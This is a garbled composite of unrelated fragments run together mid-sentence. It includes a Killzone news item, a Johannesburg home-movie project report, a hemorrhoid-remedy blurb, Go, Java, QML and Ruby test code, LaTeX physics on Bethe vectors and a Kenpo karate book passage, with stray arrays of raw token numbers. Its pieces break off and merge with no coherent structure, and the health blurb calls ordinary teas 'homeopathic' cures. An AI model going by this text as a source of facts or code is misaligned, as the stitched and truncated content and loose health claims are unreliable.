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558, 1486, 3613, 5296, 551, 2657, 186, 2309, 1486, 988, 186, 94, 988, 186, 338, 891, 3613, 8472, 9, 67, 15, 7135, 84, 4587, 18 ]	up/feed/19Sony: We’re not done with Killzonehttp://www.vg247.com/2011/02/23/sony-were-not-done-with-killzone/ http://www.vg247.com/2011/02/23/sony-were-not-done-with-killzone/#commentsWed, 23 Feb 2011 22:34:26 +0000http://www.vg247.com/?p=151237Sony India chief Atindriya Bose has said Killzone 3 is likely not the end of the franchise, leaving us exactly as informed as we were ten minutes ago. Speaking to Gamingbolt, Bose was unable to state firmly that a fourth entry in the series is definitely on the agenda. “See, I have not seen it in any product lineup, that I can confirm,” he said. “And if it does exist, we cannot really tell many people about it. It’s difficult to comment. “But it’s a numerical order- we had Killzone 1, then 2, then 3. Killzone is a franchise we have invested in, it is a franchise we know does wonders for us, and therefore it’s a franchise that we’ll always back up.” Translation: Sony would be mad to start talking Killzone 4 right now, but you can bet your boots it’ll happen when Killzone 3 sells a gazillion units.The web has democratized a lot of things since its birth, including the learning previously available only with a hefty tuition check. College site Education Portal has a handy list of the colleges that offer the most comprehensive course material online, including open-course trailblazers like the Massachusetts Institute of Technology and Tufts University, and programs like Stanford’s lecture podcasts on iTunes U. You can’t get a sheepskin for free, but you can further your knowledge and training for less than even the cost of a book. For way more college-based free learning, check out Wendy’s comprehensive guide to the.edu underground.JOHANNESBURG — Interested in making your own movie, but don’t have the money for a camera, or costumes or a set? Don’t worry. Johannesburg’s Home Movie Factory has you covered. In a former car body repair warehouse outside downtown Johannesburg, a group of workers from a non-profit foundation in Soweto are making a movie. The movie, which they call The Shebeen Queen, deals with issues of drugs, sex and AIDS. The film will likely never get to the Cannes Film Festival, let alone your local theater. But that's not exactly the point of the exercise. The Home Movie Factory is the brainchild of Academy Award winning director Michel Gondry, who has made films such as Eternal Sunshine of the Spotless Mind, The Science of Sleep and The Green Hornet. Concept The concept was developed to allow the public to come in and make movies on a pre-designed set, and get the experience of going through the filmmaking process. Gondry's idea is based on his movie Be Kind Rewind, in which two movie store clerks remake Hollywood blockbusters on a shoestring budget. He's taken this idea to Paris, New York, Rio de Janeiro, Rotterdam and Moscow. "There are a couple of philosophies which is why it’s such a good project," he said. "It’s to give people who don't have creativity as their everyday work the chance to, without all the industrial process, to understand the experience and joy of filmmaking. This is Arya Lalloo, the creative director for the Home Movie Project. "Also, part of the idea is to find within the groups, within the team set up you are able to interact with strangers or people you know in a different kind of way," said Lalloo. Visitors are put in groups of about 15. They spend the first 45 minutes democratically narrowing down the genre and theme of their movie. The next 45 minutes are spent coming up with a plot, filming locations, actors, costumes and hammering out other details. Finally, the crew heads onto the set - a large empty warehouse space divided into different film backdrops - a bedroom, kitchen, church, courthouse, doctor’s office, two Ford Cortinas, a Minibus and a township home. The filming begins. "People really come together in the creative process and all those social barriers, and inhibitions, when you are in a creative moment seem to kind of dissolve. The process itself is very interesting," said Lalloo. The owners of the Bioscope Theater in Johannesburg, Darryl Els and Russell Grant, convinced Gondry to allow them to bring the idea to Johannesburg - the first city in Africa to have the project. "This city is yearning for something different," said Els. "It’s been living. People have been going to shopping malls and carbon copy nightclubs. It’s really a matter of Johannesburg offering these new things. So I think it was important that something like this came to Joburg.” Popularity of project Important? Maybe. But definitely popular. The project, which began in early September, has already produced 150 movies, and has been booked solid. When different groups combine to make a movie, the results are always interesting, says Vusi Thwala a guide at the factory. He's noticed some trends. "White groups tend to focus on horror and sci-fi, while black groups come in and do gangs and drugs," said Thwala. "When you combine them together, you get a whole lot of challenges. You get sci-fi and township action tied together. The type of energy you get there is actually hilarious - it’s something you didn't think you'd see." To make the project work, Els and Russell raised funds locally and received fundraising help from the French Institute. Because of the fundraising, there is no cost to anyone who comes in to make a film. So far things have been running smoothly, but Els says they did decide to make one change early on. "Do we still have the gun? We took the guns away from the prop room. [Cause there was always cops and robbers]. That has not stopped the violent narrative from taking place. Generally people tend to die at the end of every movie... There is a thing where you can't lead the stories too much," said the guide. At the end of filming, each group walks over to the Bioscope Independent Cinema to watch their film. Tabiso Selepe, who was with the group from Soweto, says this was a unique experience. "It was like scary at times. But acting is acting. It's fun. It's entertaining. I feel like Nicholas Cage, eh. We are like superstars today, like an action movie," said Selepe. The Home Movie Factory is open through the end of November. You can reserve your spot at the Johannesburg Home Movie Factory Facebook page.If you're suffering from hemorrhoids, (also known as piles) you may be desperate to get rid of them and are prepared to try some or all hemorrhoids home remedies. Suffering from a hemorrhoid condition can be very painful and distressing. You may think that you're all alone, but you're not. At least 40 percent of the adult population will suffer from hemorrhoids at some point in their life. And like you, they want to get rid of hemorrhoids for good, too. So does a natural treatment for piles actually work? Well, first you have to decide which of the hemorrhoids homeopathic cures to try first. For instance, drinking green tea daily is regarded as a hemorrhoids homeopathic remedy. However, green tea can be an acquired taste and you mightn't like drinking it at first. Similarly, drinking chamomile tea is also regarded as a natural treatment for piles. If you decide this would suit you, I wouldn't recommend drinking both, but choose either green or chamomile tea and drink one cup daily. It's also important to note that chamomile tea can be used as a relaxant or mild sedative, so the best time to drink it may be at bedtime. Cutting out alcohol and coffee can also be one of the hemorrhoids home remedies. You could try drinking chamomile or green tea instead of a cup of coffee. However, don't expect instant results. It may take two to three weeks or even longer for this hemorrhoids homeopathic treatment to take effect.// Copyright 2016 The Xorm Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. package builder import ( "errors" "fmt" ) func (b *Builder) selectWriteTo(w Writer) error { if len(b.tableName) <= 0 { return errors.New("no table indicated") } if _, err := fmt.Fprint(w, "SELECT "); err!= nil { return err } if len(b.selects) > 0 { for i, s := range b.selects { if _, err := fmt.Fprint(w, s); err!= nil { return err } if i!= len(b.selects)-1
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"-b(=[40:20 100:50 40:20 60:30 0]);" + // b "-c(=[20:10 100:50 10:5 10:5 0]);" + // c "-d(=[30:15 100:50 20:10 0 0])"; // d String appsConfig = // queueName\t(priority,resource,host,expression,#repeat,reserved, // pending) "a\t" // app1 in a + "(1,1:1,n1,,5,false,25:25);" + // app1 a "a\t" // app2 in a + "(1,1:1,n1,,5,false,25:25);" + // app2 a "b\t" // app3 in b + "(4,1:1,n1,,36,false,20:20);" + // app3 b "b\t" // app4 in b + "(4,1:1,n1,,2,false,10:10);" + // app4 b "b\t" // app4 in b + "(5,1:1,n1,,1,false,10:10);" + // app5 b "b\t" // app4 in b + "(6,1:1,n1,,1,false,10:10);" + // app6 in b "c\t" // app1 in a + "(1,1:1,n1,,10,false,10:10);" + "d\t" // app7 in c + "(1,1:1,n1,,20,false,0)"; buildEnv(labelsConfig, nodesConfig, queuesConfig, appsConfig); policy.editSchedule(); // For queue B, app3 and app4 were of lower priority. Hence take 8 // containers from them by hitting the intraQueuePreemptionDemand of 20%. verify(mDisp, times(1)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(4)))); verify(mDisp, times(3)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(3)))); } @Test public void testIntraQueuePreemptionWithDominantVCoreResource() throws IOException { /** * The simplest test preemption, Queue structure is: * * <pre> * root * / \ * a b * </pre> * * Guaranteed resource of a/b are 40:60 Total cluster resource = 100 * Scenario: Queue B has few running apps and two high priority apps have * demand. Apps which are running at low priority (4) will preempt few of * its resources to meet the demand. */ conf.set(CapacitySchedulerConfiguration.INTRAQUEUE_PREEMPTION_ORDER_POLICY, "priority_first"); // Set max preemption limit as 50%. conf.setFloat(CapacitySchedulerConfiguration. INTRAQUEUE_PREEMPTION_MAX_ALLOWABLE_LIMIT, (float) 0.5); String labelsConfig = "=100:200,true;"; String nodesConfig = // n1 has no label "n1= res=100:200"; String queuesConfig = // guaranteed,max,used,pending,reserved "root(=[100:50 100:50 50:40 110:60 0]);" + // root "-a(=[40:20 100:50 9:9 50:30 0]);" + // a "-b(=[60:30 100:50 40:30 60:30 0]);"; // b String appsConfig = // queueName\t(priority,resource,host,expression,#repeat,reserved, // pending) "a\t" // app1 in a + "(1,2:1,n1,,4,false,25:25);" + // app1 a "a\t" // app2 in a + "(1,1:3,n1,,2,false,25:25);" + // app2 a "b\t" // app3 in b + "(4,2:1,n1,,10,false,20:20);" + // app3 b "b\t" // app4 in b + "(4,1:2,n1,,5,false,10:10);" + // app4 b "b\t" // app5 in b + "(5,1:1,n1,,5,false,30:20);" + // app5 b "b\t" // app6 in b + "(6,2:1,n1,,5,false,30:20);"; buildEnv(labelsConfig, nodesConfig, queuesConfig, appsConfig); policy.editSchedule(); // For queue B, app3 and app4 were of lower priority. Hence take 4 // containers. verify(mDisp, times(9)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(3)))); verify(mDisp, times(4)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(4)))); verify(mDisp, times(4)).handle(argThat( new TestProportionalCapacityPreemptionPolicy.IsPreemptionRequestFor( getAppAttemptId(5)))); } } import QtQuick 2.3 import lcvcore 1.0 import lcvimgproc 1.0 Grid{ // Sobel operator sample in x and y directions columns : 2 id : root property string imagePath : project.dir() + '/../../../samples/_images/buildings_0246.jpg' ImRead{ id : src file : root.imagePath } ChannelSelect{ id : cs input : src.output channel : 2 visible : false } Sobel{ // Sobel in y direction input : cs.output ddepth : Mat.CV16S width : src.width height : src.height xorder : 1 yorder : 0 ksize : 3 scale : 1 delta : 0 } Sobel{ // Sobel in x direction input : cs.output ddepth : Mat.CV16S width : src.width height : src.height xorder : 0 yorder : 1 ksize : 3 scale : 1 delta : 0 } } There are only six places in the U.S. outfitted with vacuum-powered garbage collection technology. Catering to a population of around 20,000, New York’s Roosevelt Island is one of them. Using automated vacuum collection system technology known as AVAC, garbage is sucked out of homes through large pipelines at speeds of up to 60 mph. AVAC, a Swedish technology, made its first big American debut at Disney World; unfortunately, Roosevelt Island was the only other major place it caught on. Chief engineer Jerry Sorgente is here to tell you all about it. Every day we track down a Video Wonder: an audiovisual offering that delights, inspires, and entertains. Have you encountered a video we should feature? Email ella@atlasobscura.com.And the winner is … Courtney Conlogue Courtney Conlogue recently won the 2009 Supergirl Pro Junior surfing competition, ripping through the waves in Oceanside, California to beat her competitors and claim the $5,000 top prize. “I really wanted the win and to take home the cape to be this year’s Supergirl champion,” she said. “It’s an honor to win an event like this that focuses on, and supports, the girls.” The 2009 Supergirl Pro Junior was the first event in this year’s Supergirl Jam, the action-sports industry’s
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64, 20, 10, 426, 393, 1588, 92, 35, 94, 5081, 1906, 64, 18, 10, 393, 1588, 92, 35, 94, 5081, 1906, 64, 19, 10, 393, 1588, 92, 35, 94, 5081, 1906, 64, 20, 1572, 4153, 795, 12, 209, 187, 12, 50276, 67, 209, 4932, 18, 24661, 20, 1035, 1906, 64, 20, 3706, 393, 1906, 64, 19, 1157, 393, 1906, 64, 18, 10, 393, 1588, 92, 35, 94, 5081, 1906, 64, 18, 10, 393, 1588, 92, 35, 94, 5081, 1906, 64, 19, 10, 393, 4153, 795, 12, 209, 187, 12, 270, 209, 4932, 18, 24661, 20, 1035, 1906, 64, 18, 3706, 50276, 61, 1906, 64, 19, 1157, 50276, 61, 1906, 64, 20, 10, 50276, 61, 3181, 3202, 187, 61, 3181, 393, 1588, 92, 35, 94, 5081, 1906, 64, 19, 10, 393, 1588, 92, 35, 94, 5081, 1906 ]	+ \frac{2 \eta (\lambda + \eta) ( \xi^+ + \mu \nu ^+)}{(\lambda - \mu) (\lambda + \mu + \eta)} F_1 (\mu) \Psi _1 (\lambda) \end{split}$$ where the eigenvalue $\Lambda _1 (\lambda, \mu )$ is given by $$\label{Lambda1} \Lambda _1 (\lambda, \mu ) = \kappa _1 (\lambda) \frac{(\lambda + \mu)(\lambda - \mu - \eta)}{(\lambda - \mu)(\lambda + \mu + \eta)} \alpha (\lambda) + \kappa _2 (\lambda) \frac{(\lambda - \mu + \eta)(\lambda + \mu + 2 \eta)}{(\lambda - \mu)(\lambda + \mu + \eta)} \widehat{\delta} (\lambda).$$ Evidently $\Lambda _1 (\lambda, \mu )$ depends also on boundary parameters $\xi ^+$, $\nu ^+$ and the quasi-classical parameter $\eta$, but these parameters are omitted in order to simplify the formulae. The unwanted term on the right hand side is annihilated by the Bethe equation $$\label{F1} F_1 (\mu) = \frac{ 2\mu}{2\mu + \eta} \alpha (\mu ) - \frac{\xi^+ - (\mu + \eta)\nu ^+}{\xi^+ + \mu \nu ^+} \widehat{ \delta} (\mu) = 0,$$ or equivalently, $$\label{Bethe Eq-1} \frac{\alpha (\mu)}{\widehat{ \delta} (\mu)} = \frac{(\mu + \eta)\kappa _2 (\mu)}{\mu \, \kappa _1 (\mu)} = \frac{(2 \mu + \eta)(\xi^+ - (\mu + \eta)\nu ^+)}{2 \mu \, (\xi^+ + \mu \nu ^+)}.$$ Therefore we have shown that $\Psi _1 (\mu)$ is the Bethe vector of the transfer matrix corresponding to the eigenvalue $\Lambda _1 (\lambda, \mu )$. We seek the Bethe vector $\Psi _2 ( \mu_1, \mu_2)$ in the form $$\label{Psi2} \Psi _2 ( \mu_1, \mu_2) = \mathcal{B} (\mu_1) \mathcal{B} (\mu_2) \Omega _+ + b^{(1)}_2(\mu_2 ; \mu_1) \mathcal{B} (\mu_1) \Omega _+ + b^{(1)}_2(\mu_1; \mu_2 ) \mathcal{B} (\mu_2) \Omega _+ + b^{(2)}_2 ( \mu_1, \mu_2) \Omega _+,$$ where $b^{(1)}_2(\mu_1; \mu_2 )$ and $b^{(2)}_2( \mu_1, \mu_2)$ are given by $$\begin{aligned} \label{1b2} b^{(1)}_2 (\mu_1; \mu_2 ) &= \frac{\psi^+}{2 \nu ^+} \left( \frac{ 2 \mu _1}{2 \mu _1 + \eta} \frac{(\mu _1 + \mu _2)(\mu _1 - \mu _2 - \eta )}{(\mu _1 - \mu _2)(\mu _1 + \mu _2 + \eta )} \alpha (\mu _1) - \frac{(\mu _1 - \mu_2 + \eta)(\mu _1 + \mu_2 + 2 \eta)}{(\mu _1 - \mu _2)(\mu _1 + \mu_2 + \eta)} \widehat{ \delta} (\mu _1) \right), \\[2ex] \label{2b2} b^{(2)}_2 ( \mu_1, \mu_2) &= \frac{1}{2} \left( b^{(1)}_2 (\mu_1; \mu_2 ) \, b_1 (\mu _2) + b^{(1)}_2 (\mu_2; \mu_1 ) \, b_1 (\mu _1) \right).\end{aligned}$$ Starting from the definitions and, using the relations, and to push the operators $\mathcal{A} (\lambda)$, $\widehat{\mathcal{D}} (\lambda)$ and $\mathcal{C} (\lambda)$ to the right and after rearranging some terms, we obtain the off shell action of transfer matrix $t(\lambda)$ on $\Psi _2 ( \mu_1, \mu_2)$ $$\begin{aligned} \label{t-on-Psi2} &t(\lambda) \Psi _2 ( \mu_1, \mu_2) = \Lambda _2 (\lambda, \{\mu _i \} ) \Psi _2 ( \mu_1, \mu_2) + \sum _{i=1}^2 \frac{2 \eta (\lambda + \eta ) (\xi^+ + \mu _i \nu ^+)}{(\lambda - \mu _i) (\lambda + \mu _i + \eta )} F_2(\mu _i; \mu _{3-i}) \Psi _2 ( \lambda, \mu_{3-i}),\end{aligned}$$ where the eigenvalue is given by $$\label{Lambda2} \Lambda _2 (\lambda, \{\mu _i \}) = \kappa _1 (\lambda) \ \alpha (\lambda) \ \prod _{i =1}^2 \frac{(\lambda + \mu_i)(\lambda - \mu_i - \eta)}{(\lambda - \mu _i)(\lambda + \mu_i + \eta)} + \kappa _2 (\lambda) \ \widehat{ \delta} (\lambda) \ \prod _{i =1}^2 \frac{(\lambda - \mu_i + \eta)(\lambda + \mu_i + 2 \eta )}{(\lambda - \mu_i )(\lambda + \mu _i + \eta)}$$ and the two unwanted terms in are canceled by the Bethe equations which follow from $F_2(\mu _i; \mu _{3-i}) = 0$, i. e. $$\label{BE-2} \frac{ 2\mu _i}{2 \mu _i + \eta} \ \frac{(\mu _ i + \mu _{3-i})(\mu _ i - \mu _{3-i} - \eta )}{(\mu _ i - \mu _{3-i})(\mu _ i + \mu _{3-i} + \eta )} \alpha (\mu _i) - \frac{\xi^+ - (\mu _i + \eta)\nu ^+}{\xi^+ + \mu _i \nu ^+} \ \frac{(\mu _i - \mu_{3-i} + \eta)(\mu _i + \mu_{3-i} + 2 \eta)}{(\mu _i - \mu _{3-i})(\mu _i + \mu_{3-i} + \eta)} \widehat{ \delta} (\mu _i) = 0, $$ with $i = \{ 1, 2 \}$. Therefore the Bethe equations are $$\label{Bethe Eq-2.i} \frac{\alpha (\mu _i)}{\widehat{ \delta} (\mu _i)} = \frac{(\mu _i + \eta)\kappa _2 (\mu _i)}{\mu _i \, \kappa _1 (\mu _i)} \frac{(\mu _i - \mu_{3-i} + \eta)(\mu _i + \mu_{3-i} + 2 \eta)}{(\mu _ i + \mu _{3-i})(\mu _ i - \mu _{3-i} - \eta )},$$ where $i = \{ 1, 2 \}$. Striking property of the Bethe vectors we have introduced so far is the simplicity of the off shell action of the transfer matrix $t(\lambda)$, equations and. Actually, the action of the transfer matrix almost coincides with the one in the case when the two boundary matrices are diagonal [@Sklyanin88; @Hikami95]. The Bethe vector $\Psi _3 ( \mu_1, \mu_2, \mu_3)$ we propose is a symmetric function of its arguments and it is given as the following sum of eight terms $$\label{Psi3} \begin{split} \Psi _3 ( \mu_1, \mu_2, \mu_3) = \mathcal{B} (\mu_1) \mathcal{B} (\mu_2) \mathcal{B} (\mu_3)\Omega _+ + b ^{(1)}_3(\mu_3 ; \mu_2, \mu_1) \mathcal{B} (\mu_1) \mathcal{B} (\mu_2) \Omega _+ + b ^{(1)}_3(\mu_1 ; \mu_2, \mu_3) \times \\ \times \mathcal{B} (\mu_2) \mathcal{B} (\mu
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27814, 64, 9349, 27, 346, 27814, 3, 187, 50270, 94, 187, 50272, 423, 535, 50272, 9131, 513, 187, 50270, 8912, 64, 1279, 64, 14966, 64, 1171, 9, 43612, 7676, 676, 1450, 43612, 12023, 1450, 41262, 6825, 481, 936, 4763, 20805, 7555, 2373, 40778, 395, 64, 2309, 9, 5672, 10, 187, 50270, 8912, 9, 7280, 64, 6682, 481, 936, 4763, 64, 8559, 64, 10050, 20805, 23290, 64, 45983, 13, 1163, 27814, 481, 395, 64, 2309, 9, 12237, 9, 12566, 18346, 2032, 1228, 187, 50272, 423, 535, 50272, 262, 346, 48724, 626, 1642, 443, 6666, 281, 38785, 17310, 3, 513, 187, 50270, 23824, 9, 7280, 64, 6682, 481, 936, 4763, 64, 8559, 64, 10050, 20805, 23290, 64, 45983, 13, 1163, 27814, 481, 3113, 9, 187, 50268, 4537, 13, 187, 50268, 38589, 13, 187, 50268, 1087, 15, 9133, 15, 936, 64, 84, 13, 187, 50268, 92, 187, 50266, 3, 25756, 64, 5564, 3, 50275, 14490, 13938, 92, 43824, 18297, 5564, 18095, 995, 187, 50266, 3, 25756, 64, 8559, 3, 3001, 13938, 92, 43824, 18297, 8559, 44479, 79, 995, 187, 50266, 3, 20409, 3, 50266, 14490, 819, 15, 2522, 15, 20409, 13, 187, 50266, 3, 27814, 64, 9349, 3, 50275, 14490, 346, 27814, 3, 187, 50268, 94, 187, 50270, 10, 535, 50270, 19091, 187, 50272, 423, 187, 50274, 423, 535, 50274, 8882, 346, 8606, 84, 3785, 2748, 533, 17310, 2380, 10224, 3 ]	], pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'LGTM', created_at: Chronic.parse('1 minute ago')}], reviews: [] }) end specify { expect(subject).to eq([]) } end end context "multiple reviewers with only one approval" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'LGTM'}], reviews: [{author: 'ringo', state: 'CHANGES_REQUESTED'}] }) end specify { expect(subject).to eq(['tito']) } end context "multiple reviewers with all approvals" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm'}, {author: 'ringo', body: ':+1:'}], reviews: [] }) allow(GitReflow::GitServer::GitHub::PullRequest).to receive(:approval_regex).and_return(/(?i-mx:lgtm\|looks good to me\|:\+1:\|:thumbsup:\|:shipit:)/) end context "2 approvals" do specify { expect(subject).to eq(['tito', 'ringo']) } end context "2 approvals including reviews" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm'}], reviews: [{author: 'nature-boy', state: 'APPROVED'}] }) end specify { expect(subject).to eq(['tito', 'nature-boy']) } end context "but a new commit has been introduced" do before do FakeGitHub.new( repo_owner: user, repo_name: repo, commits: [ { author: user, pull_request_number: existing_pull_request.number, created_at: Chronic.parse("1 second ago") } ], pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm', created_at: Chronic.parse('1 minute ago')}, {author: 'ringo', body: ':+1:', created_at: Chronic.parse('1 minute ago')}], reviews: [] }) end specify { expect(subject).to eq([]) } end end end describe '#last_comment' do subject { pr.last_comment } before do FakeGitHub.new( repo_owner: user, repo_name: repo, pull_request: { number: existing_pull_request.number, owner: existing_pull_request.head.user.login, comments: [{author: 'tito', body: 'lgtm'}, {author: 'ringo', body: 'Cha cha cha'}], reviews: [] }) end specify { expect(subject).to eq('"Cha cha cha"') } end describe '#build' do let(:build) { Fixture.new('repositories/statuses.json').to_json_hashie.first } subject { pr.build } context "with an existing build" do specify { expect(subject.state).to eq(build.state) } specify { expect(subject.description).to eq(build.description) } specify { expect(subject.url).to eq(build.target_url) } end context "no build found" do before { allow(GitReflow.git_server).to receive(:get_build_status).and_return(nil) } specify { expect(subject.state).to eq(nil) } specify { expect(subject.description).to eq(nil) } specify { expect(subject.url).to eq(nil) } end end describe '#merge!' do let(:inputs) do { :base => "base_branch", :title => "title", :message => "message" } end let(:lgtm_comment_authors) { ["simonzhu24", "reenhanced"] } let(:merge_response) { { :message => "Failure_Message" } } subject { pr.merge! inputs } before do allow(GitReflow).to receive(:git_server).and_return(github) allow(GitReflow::Config).to receive(:get) allow(GitReflow.git_server).to receive(:connection).and_return(github_api) allow(GitReflow.git_server).to receive(:get_build_status).and_return(Struct.new(:state, :description, :target_url).new()) allow_any_instance_of(GitReflow::GitServer::PullRequest).to receive(:commit_message_for_merge).and_return('Bingo') allow_any_instance_of(GitReflow).to receive(:append_to_merge_commit_message).and_return(true) end context "and force-merging" do let(:inputs) do { base: "base_branch", title: "title", message: "message", force: true } end before { allow_any_instance_of(GitReflow::GitServer::PullRequest).to receive(:deliver?).and_return(true) } it "falls back on manual squash merge" do expect { subject }.to have_run_command "git merge --squash #{feature_branch_name}" end end context "and always deliver is set" do before do allow(GitReflow::Config).to receive(:get).with('reflow.always-deliver').and_return('true') allow(github_api).to receive_message_chain(:pull_requests, :merge).and_return(double(success?: true)) end it "doesn't ask to confirm deliver" do expect(pr).to_not receive(:ask).with('This is the current status of your Pull Request. Are you sure you want to deliver? ') subject end end context "and not suqash merging" do let(:inputs) do { base: "base_branch", title: "title", message: "message", merge_method: "merge" } end before do allow_any_instance_of(GitReflow::GitServer::PullRequest).to receive(:deliver?).and_return(true) allow(github_api).to receive_message_chain(:pull_requests, :merge).and_return(double(success?: true)) end it "doesn't ask Github to squash merge" do expect(github_api).to receive_message_chain(:pull_requests, :merge).with( user, repo, pr.number.to_s, { "commit_title" => "#{inputs[:title]}", "commit_message" => "#{inputs[:message]}\n", "sha" => pr.head.sha, "merge_method" => "merge" } ) subject end end context "finds pull request but merge response fails"
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896, 672, 368, 9974, 275, 2914, 1955, 281, 2133, 2801, 4886, 1977, 432, 253, 9974, 476, 320, 346 ]	if you poke his eyes, kick his groin, break his arm, knock his teeth out, disarm him AND THEN proceed to pistol-whip him four or five times as at least one extension teaches, you may be the one who winds up on the wrong side of the bar in court. The term the law uses is "molesting the corpse." We can go into a whole philosophical argument here about survival, quality of life, emotion, judgment, and more. My point is that once you have the gun, maybe you don't need to do all that to him. If you must, you learned all the lines to use with or without the weapon in the base techniques. Your instructor clued you in on that and how to do it. The other question is moral. Should you do it? You know how and you've been given the when—which is the situation you're in. But should you? It's a judgment call. So many factors need to be considered. I've been trained to teach judgment in my role as a flight instructor. It's even fair game for testing a candidate on their judgment on a flight test. This is tough stuff. Another thing I don't care for in the extensions is the gun handling at the end of the technique. Nobody who knows how to shoot holds a pistol as in the photo below. It looks nice and would be good for a demo. But it does nothing for a gunfighter. Think about the fact that most people don't know how to handle a gun anyway. Get familiar with basic firearm safe-handling rules. Did your teacher tell you to make sure you don't pass your hand in front of the barrel while doing any of this motion? To keep the barrel pointed away from you at all times and to make sure the opponent can't turn it back on you? Are you familiar with the operation of a revolver versus a semiautomatic weapon? Do you know how to de-cock, or clear a chamber? How to work a safety? Are you aware that you don't put your finger on the trigger until absolutely necessary and that you keep it outside the trigger guard until that time? All this takes training. Let's assume you successfully did the technique. You didn't lose the gun; you have it in your hand and are pointing at your attacker who is in a crumpled heap. Somebody saw this happening in the parking lot and called 911. They called in that they saw a man with a gun, and when the police roll up that's what they see, a man with a gun. The cops weren't there when it started. The officer does not know who had the gun in the first place. You could be the bad guy and have just beaten a non-compliant victim. So Mr. Policeman is going to order you to drop the gun. This is a big-time stress event for most people. If you remember your physiological responses to stress you will recall that tunnel vision and hearing loss are some of the manifestations. It's like fighting in a tournament. You honestly may not hear the center judge tell you to break in the heat of battle. You may not see or hear the officer tell you to drop the weapon. He will usually tell you two or three times since it often takes that much to get it to register. Maybe you get the message and drop the gun, then sort things out. Maybe instead you get the vague impression that someone else is on scene. So you turn toward the source of the light, sound, or touch. What he sees is you turning toward him with a weapon. You're probably going to get shot. It's going to make a great war story, if you live. Maybe you should kick the gun away. Maybe you should empty the chamber. Maybe you should run like hell. Maybe you should not hold the gun by the grip. Maybe, maybe, maybe.... Get some sound advice and make your training decisions. I refer you to Counselor Triolo's contribution, "What Now?" on this very subject, found at the conclusion of this book. 14 Here "low form" refers to the aforementioned Short Two. Martial artists often refer to the beginner and intermediate forms as low forms. # 8 # Forms Seven and Eight ## Some Background on These Two Forms Form Seven was originally a double knife form. The knife to be used was not an "Ed Parker" knife. That knife was designed by Gil Hibben as part of his black-belt thesis. The knife is now called the Kenpo Karate knife and has at least two versions. The Parker knife itself had several "mark" versions. The intended knife was smaller than the Parker knife, a double-edge dagger, to make manipulation easier. The original Seven was not widely taught. The opening of the original Form Seven is what is done today to open Form Eight. However, that is where the resemblance stops. The tribal lore of our system says that the original Form Seven was only taught to seven people. In Ed Parker's progression-type thinking, Form Seven was the next logical step in the forms. Form Six was defense against weapons that included knives. The majority of the techniques in Six are against a knife because he believed the versatility of a blade makes it the most dangerous of the weapons. If everything does have an opposite and a reverse, then we needed a form using the knife. In the 1980s, a stick form appeared and the original Seven was replaced by it. Form Eight was close behind. It was the new knife form, which supposedly is somewhat like the original Seven. Both forms use the weapons in both hands simultaneously. There are no single weapon forms. If there is any confusion, it is because of the renumbering. The "new" Eight is a modified version of the original Seven. Today's Kenpo forms listing refers to Seven, the stick form, and Eight, the knife form. In my mind it is questionable whether Ed Parker created these forms or not. I tend to think that they were put together with his help by a senior student. I started learning Seven from him just before he died. I was a little disappointed. The forms just did not feel like an Ed Parker form. Sure, they have Parker techniques and some of his weapons concepts. But much of what is in Seven and Eight I just cannot see him doing in reality. There have been reports of people cutting themselves while doing Form Eight. They are violating the weapons rules used in edged-weapon systems. For example, you know the Kenpo rule of the new hand moving outside the old to keep the hand from being trapped. If you apply that principle to a bladed weapon, your blade remains inside, possibly resulting in injury, especially with a blade of stick length or longer. ## Form Seven, Overview As I wrote elsewhere, this form is known today as a double stick or club form, whereas Seven was originally a double knife form. Knowing how Mr. Parker thought in progressions, doing a knife form made sense in that Form Six has knife disarms in it, and if you get the knife you should know how to use it. Alternatively, in his thinking, the club being somewhat less deadly than a knife, an argument can be made that you should learn the club before the knife. Mr. Parker was very concerned about his information on using a knife getting out and into the wrong hands. Maybe this is what caused him to switch the form to a club form instead of a knife form. (I am using the terms "club" and "stick" interchangeably.) From my familiarization with Filipino Martial Arts (FMA), I know that single stick is typically learned before double. In our system, we often don't do that, and this form is a double stick form. The form is composed of techniques very much like the empty-hand techniques to show that one can use a stick as an extension of the arm, a common martial arts concept. The problem I see with many who do this form is that they use the wrong size stick. Mr. Parker emphasized tailoring, and he had a formula for the stick as well. The stick should be as long as the distance from the tip of your longest finger to your elbow. When you palm the end of the stick it will protrude just past your elbow to protect it if you are using an inverted grip. This length also makes the stick very maneuverable and is much like that used in the Serrada FMA system. Serrada is a close-in system like Kenpo and so it makes sense to use a shorter stick. The longer stick tends to get one tangled up and makes it easier to be disarmed. If you buy escrima sticks to use, cut them down to size. Make sure the diameter fits you, too. It is my belief that you should get trained in an FMA system if you want to know how to use sticks and knives since these practitioners are arguably the best at their use. However, if you do not have the time or opportunity to do so, learning to use a stick via our system is done by learning Form Seven and being overseen by a competent instructor. That instructor can guide you through the technicalities of proper grip, distance, striking methods, and other rules of motion appropriate for using this weapon. This is not intended to simply be Five Swords with sticks. There are other rules of motion that need to be learned and understood when using weapons. If you ignore that, at the very least your motion will be less than effective, and further, you can get hurt. For example, if you use the "new hand in front" rule here that you were taught as a beginner, you get trapped. Using it with a knife often results in getting cut. The rule about not stepping back when you strike in front due to body weight moving away from the strike can be "
